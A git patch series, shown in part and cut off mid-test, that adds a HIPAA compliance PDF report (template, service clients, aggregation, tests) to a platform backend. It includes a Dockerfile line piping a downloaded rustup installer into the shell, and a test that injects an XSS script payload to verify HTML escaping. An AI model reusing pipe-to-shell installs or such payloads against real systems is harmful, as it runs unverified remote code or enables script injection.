From 5bb01beb7a7d73b417ab0e57895548eff4dd6e11 Mon Sep 17 00:00:00 2001 From: Manish Kumar Date: Tue, 11 Aug 2026 23:23:43 -0500 Subject: [PATCH 1/8] feat: WeasyPrint HTML->PDF template for HIPAA compliance report Step 2 of the Basic HIPAA Compliance Report (Studio v0.8.0). No PDF library existed anywhere in the workspace before this (confirmed by scanning every requirements/pyproject during discovery) -- adds: - compliance/templates/hipaa_report.html: 4 of the 5 originally-scoped sections (Executive Summary, User Access Log, RAG Query Log, Security Events) -- Section 5 (System Activity/config changes) deferred, its data source isn't verified yet (Step 3). Reuses the platform's actual logo mark (same inline SVG as main.py's report header / AdminLogo.tsx), explicit not-tracked notes for session duration and dataset views/downloads/uploads (dropped from v0.8.0 scope per discovery, not silently zeroed), page numbers + generated-at timestamp via WeasyPrint's @page CSS. - compliance/pdf.py: render_report_html/render_report_pdf (Jinja2 render + WeasyPrint layout), template loaded via Path(__file__).parent rather than a top-level templates/ dir -- this repo's Dockerfile only COPYs backend/src into the image, confirmed by reading it directly, so anything outside that path would silently not exist at runtime. - weasyprint+jinja2 added to pyproject.toml; libpango/libcairo/ libgdk-pixbuf/shared-mime-info/fonts-liberation added to both Dockerfiles -- weasyprint's real runtime deps (Pango/Cairo rendering, not a pure-Python PDF engine), missing from both images before this. Tests: HTML escaping, empty-state rendering, logo presence, valid PDF magic bytes -- 7 new tests, full backend suite still 1158 passed / 98% coverage gate green. --- Dockerfile | 7 +- backend/pyproject.toml | 7 + .../src/control_center/compliance/__init__.py | 0 backend/src/control_center/compliance/pdf.py | 55 ++++ .../compliance/templates/hipaa_report.html | 249 ++++++++++++++++++ backend/tests/test_compliance_pdf.py | 86 ++++++ docker/Dockerfile | 12 + 7 files changed, 415 insertions(+), 1 deletion(-) create mode 100644 backend/src/control_center/compliance/__init__.py create mode 100644 backend/src/control_center/compliance/pdf.py create mode 100644 backend/src/control_center/compliance/templates/hipaa_report.html create mode 100644 backend/tests/test_compliance_pdf.py diff --git a/Dockerfile b/Dockerfile index 89188e68..6248900a 100644 --- a/Dockerfile +++ b/Dockerfile @@ -28,7 +28,12 @@ WORKDIR /app # omnibioai-ui, omnibioai-launcher) -- Debian trixie's own repo ships # nodejs 20.x, matching the frontend-builder stage's node:20 above, so no # third-party NodeSource script is needed to pin the major version. -RUN apt-get update && apt-get install -y --no-install-recommends build-essential gcc g++ pkg-config libssl-dev libffi-dev curl ca-certificates cloc nodejs npm && curl https://sh.rustup.rs -sSf | sh -s -- -y && rm -rf /var/lib/apt/lists/* +# libpango/libcairo/libgdk-pixbuf/shared-mime-info/fonts-liberation: real +# runtime deps of weasyprint (compliance/pdf.py, HIPAA Basic Compliance +# Report v0.8.0) -- it renders HTML/CSS to PDF via Pango/Cairo, not a +# pure-Python engine, and imports libgobject at process start, so these +# are needed here even though nothing else in this image did before. +RUN apt-get update && apt-get install -y --no-install-recommends build-essential gcc g++ pkg-config libssl-dev libffi-dev curl ca-certificates cloc nodejs npm libpango-1.0-0 libpangocairo-1.0-0 libgdk-pixbuf2.0-0 libcairo2 shared-mime-info fonts-liberation && curl https://sh.rustup.rs -sSf | sh -s -- -y && rm -rf /var/lib/apt/lists/* ENV PATH="/root/.cargo/bin:${PATH}" diff --git a/backend/pyproject.toml b/backend/pyproject.toml index 7d399a36..0edec7f4 100644 --- a/backend/pyproject.toml +++ b/backend/pyproject.toml @@ -17,6 +17,13 @@ dependencies = [ "neo4j>=5.0", "pip-audit>=2.7", "PyJWT[crypto]>=2.8", + # HIPAA Basic Compliance Report v0.8.0: PDF generation (compliance/pdf.py). + # Jinja2 renders templates/hipaa_report.html to a string; WeasyPrint + # renders that HTML/CSS string to a PDF. Neither was a dependency of any + # kind before this -- confirmed by scanning every requirements/pyproject + # in the workspace during discovery, zero hits. + "weasyprint>=62.0", + "jinja2>=3.1", ] [project.optional-dependencies] diff --git a/backend/src/control_center/compliance/__init__.py b/backend/src/control_center/compliance/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/backend/src/control_center/compliance/pdf.py b/backend/src/control_center/compliance/pdf.py new file mode 100644 index 00000000..9bbb4d8b --- /dev/null +++ b/backend/src/control_center/compliance/pdf.py @@ -0,0 +1,55 @@ +"""HIPAA Basic Compliance Report v0.8.0: renders templates/hipaa_report.html +to a PDF byte string via Jinja2 (templating) + WeasyPrint (HTML/CSS -> PDF). + +The template lives inside this package (compliance/templates/), not a +top-level backend/templates/ directory, deliberately: this repo's +Dockerfile only `COPY`s backend/src into the image (confirmed by reading +both Dockerfile and docker/Dockerfile directly) -- anything outside +backend/src/ would silently not exist at runtime. Resolving the template +path via `Path(__file__).parent` keeps it correct in both dev and the +built image without touching the Dockerfile's COPY list. + +service.py owns building the `context` dict this module renders (the +report's actual data); this module owns none of that -- request/response +wiring for the PDF endpoint route lives in router.py (a later PR), same +"one file, one responsibility" split every other package in this codebase +already follows (see billing_client.py/cache.py's own module docstrings). +""" +from __future__ import annotations + +from pathlib import Path +from typing import Any + +from jinja2 import Environment, FileSystemLoader, select_autoescape +from weasyprint import HTML + +_TEMPLATE_DIR = Path(__file__).parent / "templates" +_TEMPLATE_NAME = "hipaa_report.html" + +# module-level, not rebuilt per call -- Environment/template compilation is +# the expensive part of a Jinja2 render; the actual context data changes +# per call, the template itself never does within one process lifetime. +_env = Environment( + loader=FileSystemLoader(str(_TEMPLATE_DIR)), + autoescape=select_autoescape(["html"]), +) + + +def render_report_html(context: dict[str, Any]) -> str: + """Renders templates/hipaa_report.html with `context`. Split out from + render_report_pdf() below so a test (or a future HTML-preview + endpoint) can exercise the templating step alone, without paying + WeasyPrint's much heavier HTML/CSS layout cost. + """ + template = _env.get_template(_TEMPLATE_NAME) + return template.render(**context) + + +def render_report_pdf(context: dict[str, Any]) -> bytes: + """Renders templates/hipaa_report.html with `context`, then lays it out + to a PDF. `base_url` is this module's own directory so the template's + inline `` and any future relative asset reference resolves + correctly regardless of the caller's own working directory. + """ + html = render_report_html(context) + return HTML(string=html, base_url=str(Path(__file__).parent)).write_pdf() diff --git a/backend/src/control_center/compliance/templates/hipaa_report.html b/backend/src/control_center/compliance/templates/hipaa_report.html new file mode 100644 index 00000000..53a7527d --- /dev/null +++ b/backend/src/control_center/compliance/templates/hipaa_report.html @@ -0,0 +1,249 @@ + + + + +HIPAA Compliance Report + + + + +
+
+ + + + + + OmniBioAI +
+
HIPAA Basic Compliance Report
+
Organization: {{ organization_name }} (org #{{ organization_id }})
+
Period: {{ from_date }} – {{ to_date }}
+
Generated: {{ generated_at }} by {{ generated_by }}
+
+ Basic compliance report (OmniBioAI Studio v0.8.0). Covers login/session + activity, RAG query access, and security events from existing audit + sources. Not a substitute for a full HIPAA compliance audit -- full + certification review is planned for v0.9.0. +
+
+ + +
+
1Executive Summary
+
+
+
{{ summary.total_users }}
+
Total Users
+
+
+
{{ summary.active_users }}
+
Active Users In Period
+
+
+
{{ summary.total_rag_queries }}
+
RAG Queries
+
+
+
{{ summary.security_incidents }}
+
Security Incidents
+
+
+
+ + +
+
2User Access Log
+ {% if user_access %} + + + + + + {% for row in user_access %} + + + + + + + {% endfor %} + +
UserLogin CountLast LoginFailed Attempts
{{ row.user_label }}{{ row.login_count }}{{ row.last_login }}{% if row.failed_attempts > 0 %}{{ row.failed_attempts }}{% else %}0{% endif %}
+ {% else %} +
No login activity recorded in this period.
+ {% endif %} +
+ Session duration is not included in this report -- no admin-facing + session listing exists yet (deferred to v0.9.0). +
+
+ + +
+
3RAG Query Log
+ {% if rag_queries %} + + + + + + {% for row in rag_queries %} + + + + + + {% endfor %} + +
TimestampUserTrace ID
{{ row.timestamp }}{{ row.user_label }}{{ row.trace_id or '—' }}
+ {% else %} +
No RAG queries recorded in this period.
+ {% endif %} +
+ Dataset views/downloads and data uploads are not tracked anywhere in + the platform today and are excluded from this report (deferred to + v0.9.0 -- see report discovery notes). +
+
+ + +
+
4Security Events
+ {% if security_events %} + + + + + + {% for row in security_events %} + + + + + + + {% endfor %} + +
TimestampEventActorOutcome
{{ row.timestamp }}{{ row.label }}{{ row.actor_label }} + {% if row.outcome == 'deny' or row.outcome == 'failure' %} + {{ row.outcome }} + {% else %} + {{ row.outcome }} + {% endif %} +
+ {% else %} +
No security events recorded in this period.
+ {% endif %} +
+ + + diff --git a/backend/tests/test_compliance_pdf.py b/backend/tests/test_compliance_pdf.py new file mode 100644 index 00000000..6e61f7af --- /dev/null +++ b/backend/tests/test_compliance_pdf.py @@ -0,0 +1,86 @@ +"""Tests for control_center.compliance.pdf -- the Jinja2/WeasyPrint render +layer. No FastAPI/HTTP involved (that's test_compliance_router.py, a later +step); this file only proves the template renders and produces a real PDF. +""" +from control_center.compliance.pdf import render_report_html, render_report_pdf + +_MINIMAL_CONTEXT = { + "organization_name": "KUMC Research", + "organization_id": 42, + "from_date": "2026-08-01", + "to_date": "2026-08-31", + "generated_at": "2026-08-11T12:00:00Z", + "generated_by": "admin@omnibioai.org", + "summary": { + "total_users": 12, + "active_users": 7, + "total_rag_queries": 340, + "security_incidents": 2, + }, + "user_access": [ + {"user_label": "alice@kumc.edu", "login_count": 14, "last_login": "2026-08-30T09:12:00Z", "failed_attempts": 0}, + {"user_label": "bob@kumc.edu", "login_count": 3, "last_login": "2026-08-28T17:45:00Z", "failed_attempts": 2}, + ], + "rag_queries": [ + {"timestamp": "2026-08-30T09:15:00Z", "user_label": "alice@kumc.edu", "trace_id": "trace-abc123"}, + ], + "security_events": [ + {"timestamp": "2026-08-29T02:00:00Z", "label": "login_failure", "actor_label": "bob@kumc.edu", "outcome": "failure"}, + {"timestamp": "2026-08-30T09:00:00Z", "label": "login_success", "actor_label": "alice@kumc.edu", "outcome": "success"}, + ], +} + +_EMPTY_CONTEXT = { + **{k: v for k, v in _MINIMAL_CONTEXT.items() if k not in ("user_access", "rag_queries", "security_events", "summary")}, + "summary": {"total_users": 0, "active_users": 0, "total_rag_queries": 0, "security_incidents": 0}, + "user_access": [], + "rag_queries": [], + "security_events": [], +} + + +def test_render_report_html_includes_org_and_period(): + html = render_report_html(_MINIMAL_CONTEXT) + assert "KUMC Research" in html + assert "2026-08-01" in html + assert "2026-08-31" in html + assert "alice@kumc.edu" in html + + +def test_render_report_html_includes_omnibioai_logo_mark(): + html = render_report_html(_MINIMAL_CONTEXT) + # The inline SVG hexagon mark shared with main.py's own header/AdminLogo.tsx. + assert "alert(1)"} + html = render_report_html(context) + assert "" not in html + assert "<script>" in html + + +def test_render_report_html_shows_empty_state_notes(): + html = render_report_html(_EMPTY_CONTEXT) + assert "No login activity recorded in this period." in html + assert "No RAG queries recorded in this period." in html + assert "No security events recorded in this period." in html + + +def test_render_report_html_shows_not_tracked_notes(): + html = render_report_html(_MINIMAL_CONTEXT) + assert "Session duration is not included in this report" in html + assert "Dataset views/downloads and data uploads are not tracked" in html + + +def test_render_report_pdf_produces_valid_pdf_bytes(): + pdf_bytes = render_report_pdf(_MINIMAL_CONTEXT) + assert isinstance(pdf_bytes, bytes) + assert pdf_bytes.startswith(b"%PDF-") + assert len(pdf_bytes) > 1000 + + +def test_render_report_pdf_handles_empty_sections(): + pdf_bytes = render_report_pdf(_EMPTY_CONTEXT) + assert pdf_bytes.startswith(b"%PDF-") diff --git a/docker/Dockerfile b/docker/Dockerfile index 526c2c94..fe334177 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -18,6 +18,18 @@ RUN apt-get update && \ pkg-config \ libssl-dev \ libffi-dev \ + # HIPAA Basic Compliance Report v0.8.0: weasyprint (compliance/pdf.py) + # renders HTML/CSS to PDF via Pango/Cairo/GDK-Pixbuf, not a pure-Python + # PDF engine -- these are its real runtime dependencies, not just + # build-time ones (weasyprint imports libgobject at process start), + # so they're required here even though nothing else in this image + # needed them before. + libpango-1.0-0 \ + libpangocairo-1.0-0 \ + libgdk-pixbuf2.0-0 \ + libcairo2 \ + shared-mime-info \ + fonts-liberation \ && rm -rf /var/lib/apt/lists/* # ========================= From 6917589456a5d1c6fdee73d4708e09359f569878 Mon Sep 17 00:00:00 2001 From: Manish Kumar Date: Tue, 11 Aug 2026 23:30:34 -0500 Subject: [PATCH 2/8] feat: data aggregation for HIPAA compliance report (auth + billing fan-out) Step 3 of the Basic HIPAA Compliance Report (Studio v0.8.0): compliance/service.py::build_report fans out to omnibioai-auth (org roster + IAM audit ledger) and omnibioai-billing (usage_events, Step 1) and shapes the result into the four sections with real data sources -- Executive Summary, User Access Log, RAG Query Log, Security Events. Two source-level scoping gaps found while building this, neither obvious from the task brief (both documented in service.py's module docstring): - login_success/login_failure AuditEvent rows in omnibioai-auth are never organization_id-scoped (login happens before org context resolves). Fetched platform-wide, then filtered against the target org's actual roster (GET /orgs/{id}/members) -- not organization_id-filtered at the source (would silently return zero rows for every org). - The generic audit ledger (omnibioai-security-audit's audit_events, decision=="deny" for 403s) has no organization_id column at all -- dropped as a Section 4 source entirely rather than mislabeling platform-wide data as one org's. role_assignment_denied from auth's own (properly org-scoped) IAM ledger is the one accurate "access denied" signal used instead. Adds compliance/auth_client.py and compliance/billing_client.py (thin async httpx clients, same shape as analytics/billing_client.py -- caller's JWT forwarded unmodified, downstream service's own RBAC is what actually authorizes each call) with bounded pagination (100 pages) and a `truncated` flag surfaced to the report rather than silently dropping data past the cap. 25 new unit tests (auth_client/billing_client pagination+failure paths, service.py aggregation/grouping/classification logic). Full backend suite: 1183 passed, 99.67% coverage (98% gate). --- .../control_center/compliance/auth_client.py | 121 ++++++++++ .../compliance/billing_client.py | 73 ++++++ .../src/control_center/compliance/service.py | 223 ++++++++++++++++++ backend/tests/test_compliance_auth_client.py | 140 +++++++++++ .../tests/test_compliance_billing_client.py | 89 +++++++ backend/tests/test_compliance_service.py | 221 +++++++++++++++++ 6 files changed, 867 insertions(+) create mode 100644 backend/src/control_center/compliance/auth_client.py create mode 100644 backend/src/control_center/compliance/billing_client.py create mode 100644 backend/src/control_center/compliance/service.py create mode 100644 backend/tests/test_compliance_auth_client.py create mode 100644 backend/tests/test_compliance_billing_client.py create mode 100644 backend/tests/test_compliance_service.py diff --git a/backend/src/control_center/compliance/auth_client.py b/backend/src/control_center/compliance/auth_client.py new file mode 100644 index 00000000..01a2ca0d --- /dev/null +++ b/backend/src/control_center/compliance/auth_client.py @@ -0,0 +1,121 @@ +"""HIPAA Basic Compliance Report v0.8.0: thin async httpx client to +omnibioai-auth, mirroring analytics/billing_client.py's exact shape +(module-level BILLING_URL-style env var, one `_get` helper, the caller's +own Authorization header forwarded unmodified -- Zero Trust, the same +posture every other cross-service call in this platform already takes: +omnibioai-auth's own require_permission(MANAGE_ALL_ORGS) is what actually +authorizes each call below, not this module). + +Kept separate from analytics/billing_client.py and the existing +api/routes_audit_proxy.py (a 1:1 browser-facing relay, not meant for +server-side fan-out) rather than reused -- this package's own client for +its own two upstream calls, same "compliance doesn't reach into +analytics' internals" boundary usage_event_query_service.py drew in +omnibioai-billing for the sibling reason (see that module's own comment). +""" +from __future__ import annotations + +import os +from datetime import datetime +from typing import Any, Optional + +import httpx + +IAM_URL = os.environ.get("IAM_URL", "http://auth-service:8001") +_TIMEOUT_SECONDS = 10.0 + +# Safety cap on how many pages of /platform/audit-events one report will +# follow -- 100 pages * the endpoint's own max page_size (100) = 100,000 +# events per report. A real report window blowing past that almost +# certainly means from_date/to_date is far too wide for a "basic" report; +# stopping here (and telling the caller so, via the second element of the +# returned tuple) beats an unbounded fan-out that could hang the request. +_MAX_PAGES = 100 +_PAGE_SIZE = 100 + + +async def _get(path: str, params: dict[str, Any], authorization: Optional[str]) -> Optional[dict]: + headers = {"Authorization": authorization} if authorization else {} + try: + async with httpx.AsyncClient(timeout=_TIMEOUT_SECONDS) as client: + r = await client.get(f"{IAM_URL}{path}", params=params, headers=headers) + except httpx.RequestError: + return None + if r.status_code != 200: + return None + return r.json() + + +async def get_organization(organization_id: int, authorization: Optional[str]) -> Optional[dict]: + """GET /orgs/{organization_id} -- used for the report's own display + name (organization_name). None on any failure; the caller falls back + to a generic "Organization #{id}" label rather than failing the whole + report over a display-only field. + """ + return await _get(f"/orgs/{organization_id}", {}, authorization) + + +async def get_org_members(organization_id: int, authorization: Optional[str]) -> list[dict]: + """GET /orgs/{organization_id}/members -- [{user_id, email, status, + roles}, ...]. Unpaginated (the endpoint itself returns a plain list, + no page/total envelope) -- same "confirmed unpaginated before relying + on it" gate analytics/service.py's own team-roster fetch documents + for its sibling call. + """ + result = await _get(f"/orgs/{organization_id}/members", {}, authorization) + if result is None: + return [] + return result if isinstance(result, list) else [] + + +async def list_all_audit_events( + *, + organization_id: Optional[int], + start_date: datetime, + end_date: datetime, + event_type: Optional[str] = None, + authorization: Optional[str], +) -> tuple[list[dict], bool]: + """Pages through GET /platform/audit-events until exhausted or + _MAX_PAGES is hit. Returns (all items collected, truncated) -- + `truncated=True` means the caller should treat the result as a + possibly-incomplete sample, not a definitive count, and the report + context surfaces that rather than silently under-reporting. + + organization_id=None fetches platform-wide (used for login events, + which are never organization-scoped at the source -- see this + package's service.py for why, and how the caller filters this result + down to one org's members afterward). + """ + items: list[dict] = [] + page = 1 + while page <= _MAX_PAGES: + params: dict[str, Any] = { + "page": page, + "page_size": _PAGE_SIZE, + "start_date": start_date.isoformat(), + "end_date": end_date.isoformat(), + } + if organization_id is not None: + params["organization_id"] = organization_id + if event_type is not None: + params["event_type"] = event_type + + result = await _get("/platform/audit-events", params, authorization) + if result is None: + # A fetch failure (network error, non-200) is "no more data + # available", not "there was more data than we could fetch" -- + # same distinction billing_client.list_all_usage_events draws + # for its own unreachable case. Not truncated: nothing was + # deliberately left uncollected. + return items, False + + page_items = result.get("items", []) + items.extend(page_items) + + total_pages = result.get("total_pages", 0) + if page >= total_pages or not page_items: + return items, False + page += 1 + + return items, True diff --git a/backend/src/control_center/compliance/billing_client.py b/backend/src/control_center/compliance/billing_client.py new file mode 100644 index 00000000..b3a2b351 --- /dev/null +++ b/backend/src/control_center/compliance/billing_client.py @@ -0,0 +1,73 @@ +"""HIPAA Basic Compliance Report v0.8.0: thin async httpx client to +omnibioai-billing's usage_events read endpoint (Step 1 of this report, +omnibioai-billing PR feature/hipaa-report-usage-events-read). Same +_get/Authorization-forwarding shape as auth_client.py and +analytics/billing_client.py -- not merged with the latter, see +auth_client.py's own module docstring for why. +""" +from __future__ import annotations + +import os +from datetime import date +from typing import Any, Optional + +import httpx + +BILLING_URL = os.environ.get("BILLING_URL", "http://billing-service:8005") +_TIMEOUT_SECONDS = 10.0 + +# Same reasoning/value as auth_client.py's own _MAX_PAGES: a bound on how +# much of one report's window this will fan out for before treating the +# result as a truncated sample rather than a complete one. +_MAX_PAGES = 100 +_PAGE_SIZE = 200 # usage_event_query_service.py's own _MAX_PAGE_SIZE + + +async def list_all_usage_events( + *, + organization_id: int, + start_date: date, + end_date: date, + resource: Optional[str] = None, + authorization: Optional[str], +) -> tuple[list[dict], bool]: + """Pages through GET /billing/organizations/{organization_id}/usage-events + until exhausted or _MAX_PAGES is hit. Returns (all events, truncated). + """ + headers = {"Authorization": authorization} if authorization else {} + items: list[dict] = [] + offset = 0 + page = 0 + + async with httpx.AsyncClient(timeout=_TIMEOUT_SECONDS) as client: + while page < _MAX_PAGES: + params: dict[str, Any] = { + "start_date": start_date.isoformat(), + "end_date": end_date.isoformat(), + "limit": _PAGE_SIZE, + "offset": offset, + } + if resource is not None: + params["resource"] = resource + + try: + r = await client.get( + f"{BILLING_URL}/billing/organizations/{organization_id}/usage-events", + params=params, headers=headers, + ) + except httpx.RequestError: + break + if r.status_code != 200: + break + + result = r.json() + page_events = result.get("events", []) + items.extend(page_events) + + total_count = result.get("total_count", 0) + offset += len(page_events) + page += 1 + if offset >= total_count or not page_events: + return items, False + + return items, page >= _MAX_PAGES diff --git a/backend/src/control_center/compliance/service.py b/backend/src/control_center/compliance/service.py new file mode 100644 index 00000000..7638665b --- /dev/null +++ b/backend/src/control_center/compliance/service.py @@ -0,0 +1,223 @@ +"""HIPAA Basic Compliance Report v0.8.0: data aggregation. Fans out to +omnibioai-auth (org roster + IAM audit ledger) and omnibioai-billing +(usage_events, Step 1's new read endpoint), then shapes the result into +the four sections this report actually has data for -- Executive Summary, +User Access Log, RAG Query Log, Security Events. No aggregation logic +lives in router.py (a later step): that file only owns request/response +wiring and the Redis cache-through, the same split analytics/router.py +already established for this codebase's other report-shaped endpoint +family. + +Two real, source-level scoping gaps discovered while building this +(neither obvious from the task brief, both confirmed by reading the +producing code directly, not assumed): + +1. login_success/login_failure AuditEvent rows in omnibioai-auth are + NEVER organization-scoped (`app/services/auth_service.py`'s + `authenticate_user`/`_log_login_failure` never pass `organization_id` + to `audit_service.log_event` -- login happens before any org context + is resolved). Filtering by organization_id would silently return zero + rows for every org; not filtering would leak every other org's login + activity into a report scoped to one org. Resolved here by fetching + login events platform-wide, then filtering to this org's own roster + (`auth_client.get_org_members`) client-side -- accurate, no new + endpoints, no new instrumentation. +2. The generic cross-service audit ledger (omnibioai-security-audit's + `audit_events` table, `decision=="deny"` for 403s) has no + `organization_id` column at all (confirmed reading + omnibioai-security-audit/db/models.py directly, and already known from + Usage Analytics v1's own discovery -- see + project_usage_analytics_v1 in memory). Deliberately NOT used as a + Section 4 source for that reason -- including it would either be + platform-wide data mislabeled as one org's, or silently empty if + filtered. `role_assignment_denied` (omnibioai-auth's own IAM ledger, + which IS organization_id-scoped -- verified in role_service.py) is + the only per-org-accurate "access denied" signal available today, so + Section 4's "permission denied" row reflects that specifically, not a + generic 403 count. +""" +from __future__ import annotations + +from datetime import date, datetime, time, timezone +from typing import Any, Optional + +from control_center.compliance import auth_client, billing_client + +# omnibioai-auth/app/services/audit_service.py::AuditEventType -- the +# subset that belongs in Section 4 (Security Events). login_success/ +# login_failure are handled separately (Section 2 + the "failed +# authentications" row) since they need the org-membership filter above; +# every event_type here IS organization_id-scoped at the source, so +# org_scoped_events (fetched with organization_id=org_id already applied) +# needs no further filtering. +_SECURITY_EVENT_TYPES = { + "role_created", "role_assigned", "role_removed", + "permission_granted", "permission_revoked", + "organization_membership_changed", + "role_assignment_denied", + "user_enabled", "user_disabled", + "api_key_created", "api_key_revoked", + "oauth_client_created", "oauth_client_revoked", + "sso_configuration_created", "sso_configuration_updated", "sso_enforcement_changed", + "sso_override_created", "sso_override_removed", + "mfa_reset_by_admin", "mfa_verification_failed", +} + +# Event types whose mere occurrence is a security-relevant "incident" for +# Section 1's summary count -- denials/failures, not every role change +# (an admin routinely assigning a role isn't an incident; a rejected +# privilege-escalation attempt or a failed MFA check is). +_INCIDENT_EVENT_TYPES = {"role_assignment_denied", "mfa_verification_failed"} + + +def _humanize_event_type(event_type: str) -> str: + return event_type.replace("_", " ").title() + + +def _parse_iso(value: Optional[str]) -> Optional[datetime]: + if not value: + return None + try: + return datetime.fromisoformat(value.replace("Z", "+00:00")) + except ValueError: + return None + + +def _is_org_member(event: dict, member_by_id: dict, member_by_email: dict) -> bool: + actor_user_id = event.get("actor_user_id") + if actor_user_id is not None and actor_user_id in member_by_id: + return True + email = (event.get("metadata") or {}).get("email") + return email is not None and email in member_by_email + + +def _build_user_access(login_success: list[dict], login_failure: list[dict], member_by_id: dict) -> list[dict]: + """One row per org member with any login activity in the period -- + login_count/last_login from login_success, failed_attempts from + login_failure, grouped by email (metadata.email is always set on both + event kinds -- see auth_service.py's own log_event calls -- unlike + actor_email, which is None for an unknown-account failed attempt).""" + rows: dict[str, dict[str, Any]] = {} + + for event in login_success: + email = (event.get("metadata") or {}).get("email") or event.get("actor_email") or "unknown" + row = rows.setdefault(email, {"user_label": email, "login_count": 0, "last_login": None, "failed_attempts": 0}) + row["login_count"] += 1 + created_at = event.get("created_at") + if row["last_login"] is None or (created_at and created_at > row["last_login"]): + row["last_login"] = created_at + + for event in login_failure: + email = (event.get("metadata") or {}).get("email") or event.get("actor_email") or "unknown" + row = rows.setdefault(email, {"user_label": email, "login_count": 0, "last_login": None, "failed_attempts": 0}) + row["failed_attempts"] += 1 + + return sorted(rows.values(), key=lambda r: r["user_label"]) + + +def _build_rag_queries(usage_events: list[dict], member_by_id: dict) -> list[dict]: + rows = [] + for event in usage_events: + user_id = event.get("user_id") + member = member_by_id.get(int(user_id)) if user_id and user_id.isdigit() else None + rows.append({ + "timestamp": event.get("timestamp"), + "user_label": member["email"] if member else (user_id or "unknown"), + "trace_id": event.get("trace_id"), + }) + rows.sort(key=lambda r: r["timestamp"] or "", reverse=True) + return rows + + +def _build_security_events(org_login_failure: list[dict], org_scoped_events: list[dict]) -> list[dict]: + rows = [] + for event in org_login_failure: + email = (event.get("metadata") or {}).get("email") or event.get("actor_email") or "unknown" + rows.append({ + "timestamp": event.get("created_at"), + "label": "Failed Login", + "actor_label": email, + "outcome": "failure", + "event_type": "login_failure", + }) + for event in org_scoped_events: + event_type = event.get("event_type") + if event_type not in _SECURITY_EVENT_TYPES: + continue + actor_label = event.get("actor_email") or ( + f"User #{event['actor_user_id']}" if event.get("actor_user_id") is not None else "system" + ) + outcome = "deny" if event_type in _INCIDENT_EVENT_TYPES else "success" + rows.append({ + "timestamp": event.get("created_at"), + "label": _humanize_event_type(event_type), + "actor_label": actor_label, + "outcome": outcome, + "event_type": event_type, + }) + rows.sort(key=lambda r: r["timestamp"] or "", reverse=True) + return rows + + +async def build_report( + *, + organization_id: int, + from_date: date, + to_date: date, + generated_by: str, + authorization: Optional[str], +) -> dict[str, Any]: + start_dt = datetime.combine(from_date, time.min) + end_dt = datetime.combine(to_date, time.max) + + org = await auth_client.get_organization(organization_id, authorization) + members = await auth_client.get_org_members(organization_id, authorization) + member_by_id = {m["user_id"]: m for m in members} + member_by_email = {m["email"]: m for m in members} + + login_success_events, trunc_success = await auth_client.list_all_audit_events( + organization_id=None, start_date=start_dt, end_date=end_dt, + event_type="login_success", authorization=authorization, + ) + login_failure_events, trunc_failure = await auth_client.list_all_audit_events( + organization_id=None, start_date=start_dt, end_date=end_dt, + event_type="login_failure", authorization=authorization, + ) + org_scoped_events, trunc_org = await auth_client.list_all_audit_events( + organization_id=organization_id, start_date=start_dt, end_date=end_dt, + authorization=authorization, + ) + rag_events, trunc_rag = await billing_client.list_all_usage_events( + organization_id=organization_id, start_date=from_date, end_date=to_date, + resource="rag.query", authorization=authorization, + ) + + org_login_success = [e for e in login_success_events if _is_org_member(e, member_by_id, member_by_email)] + org_login_failure = [e for e in login_failure_events if _is_org_member(e, member_by_id, member_by_email)] + + user_access = _build_user_access(org_login_success, org_login_failure, member_by_id) + rag_queries = _build_rag_queries(rag_events, member_by_id) + security_events = _build_security_events(org_login_failure, org_scoped_events) + + incident_count = sum(1 for r in security_events if r["outcome"] in ("deny", "failure")) + + summary = { + "total_users": len(members), + "active_users": sum(1 for r in user_access if r["login_count"] > 0), + "total_rag_queries": len(rag_queries), + "security_incidents": incident_count, + } + + return { + "organization_id": organization_id, + "organization_name": (org or {}).get("name") or f"Organization #{organization_id}", + "from_date": from_date.isoformat(), + "to_date": to_date.isoformat(), + "generated_at": datetime.now(timezone.utc).isoformat(), + "generated_by": generated_by, + "summary": summary, + "user_access": user_access, + "rag_queries": rag_queries, + "security_events": security_events, + "truncated": trunc_success or trunc_failure or trunc_org or trunc_rag, + } diff --git a/backend/tests/test_compliance_auth_client.py b/backend/tests/test_compliance_auth_client.py new file mode 100644 index 00000000..3555e19e --- /dev/null +++ b/backend/tests/test_compliance_auth_client.py @@ -0,0 +1,140 @@ +"""Unit tests for control_center.compliance.auth_client. Mocking shape +mirrors tests/test_analytics_billing_client.py exactly (this codebase's +established convention for testing a thin httpx client module). +""" +from __future__ import annotations + +import unittest +from datetime import datetime +from unittest.mock import AsyncMock, MagicMock, patch + +import httpx + +from control_center.compliance import auth_client + + +def _resp(status_code: int, json_body=None) -> MagicMock: + r = MagicMock() + r.status_code = status_code + r.json.return_value = json_body + return r + + +def _mock_client(*responses: MagicMock): + mock_client = MagicMock() + if len(responses) > 1: + mock_client.get = AsyncMock(side_effect=list(responses)) + else: + mock_client.get = AsyncMock(return_value=responses[0]) + mock_ctx = MagicMock() + mock_ctx.__aenter__ = AsyncMock(return_value=mock_client) + mock_ctx.__aexit__ = AsyncMock(return_value=False) + return mock_ctx, mock_client + + +class GetOrganizationTestCase(unittest.IsolatedAsyncioTestCase): + async def test_returns_body_on_success(self) -> None: + ctx, _ = _mock_client(_resp(200, {"id": 1, "name": "KUMC Research"})) + with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): + body = await auth_client.get_organization(1, "Bearer tok") + self.assertEqual(body["name"], "KUMC Research") + + async def test_none_on_404(self) -> None: + ctx, _ = _mock_client(_resp(404)) + with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): + body = await auth_client.get_organization(1, "Bearer tok") + self.assertIsNone(body) + + async def test_none_on_unreachable(self) -> None: + mock_client = MagicMock() + mock_client.get = AsyncMock(side_effect=httpx.ConnectError("refused")) + mock_ctx = MagicMock() + mock_ctx.__aenter__ = AsyncMock(return_value=mock_client) + mock_ctx.__aexit__ = AsyncMock(return_value=False) + with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=mock_ctx): + body = await auth_client.get_organization(1, "Bearer tok") + self.assertIsNone(body) + + +class GetOrgMembersTestCase(unittest.IsolatedAsyncioTestCase): + async def test_returns_member_list(self) -> None: + ctx, _ = _mock_client(_resp(200, [{"user_id": 1, "email": "a@kumc.edu", "status": "active", "roles": ["member"]}])) + with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): + members = await auth_client.get_org_members(1, "Bearer tok") + self.assertEqual(members[0]["email"], "a@kumc.edu") + + async def test_empty_list_on_failure(self) -> None: + ctx, _ = _mock_client(_resp(403)) + with 